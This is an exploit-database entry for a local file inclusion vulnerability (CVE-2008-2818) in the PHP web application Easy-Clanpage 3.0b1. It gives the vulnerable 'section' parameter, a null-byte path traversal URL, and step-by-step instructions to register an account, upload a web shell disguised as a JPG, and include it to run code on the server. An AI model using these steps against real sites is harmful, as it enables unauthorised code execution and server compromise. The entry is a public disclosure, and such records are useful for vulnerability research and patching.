Exploit Easy-Clanpage 3.0b1 - 'section' Local File Inclusion

[Exploiter]

EDB-ID

5801

Проверка EDB

1. Пройдено

Автор

LOADER007

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-2818

Дата публикации

2008-06-13

####################################################################################
#LFI Exploit by Loader007
#
#you can connect me for questions ICQ:488525928
#
#Script:Easy-Clanpage 3.0b1
#
#download: 
http://www.easy-clanpage.de/?section=downloads&show=viewdownload&id=24
#
#http://example.de/path/?section=[LFI]%00
#
###################################################################################
#HowTo use it
#
#1: make a account
#2: up shell as jpg not bigger than 50kb!
#3: incude the jpg with http://example.de/path/?section=../path/to/image%00
#
#greetz to
#sys-flaw.com
#my friend's Tr0n,N1ReeXz and all the others
###################################################################################

# milw0rm.com [2008-06-13]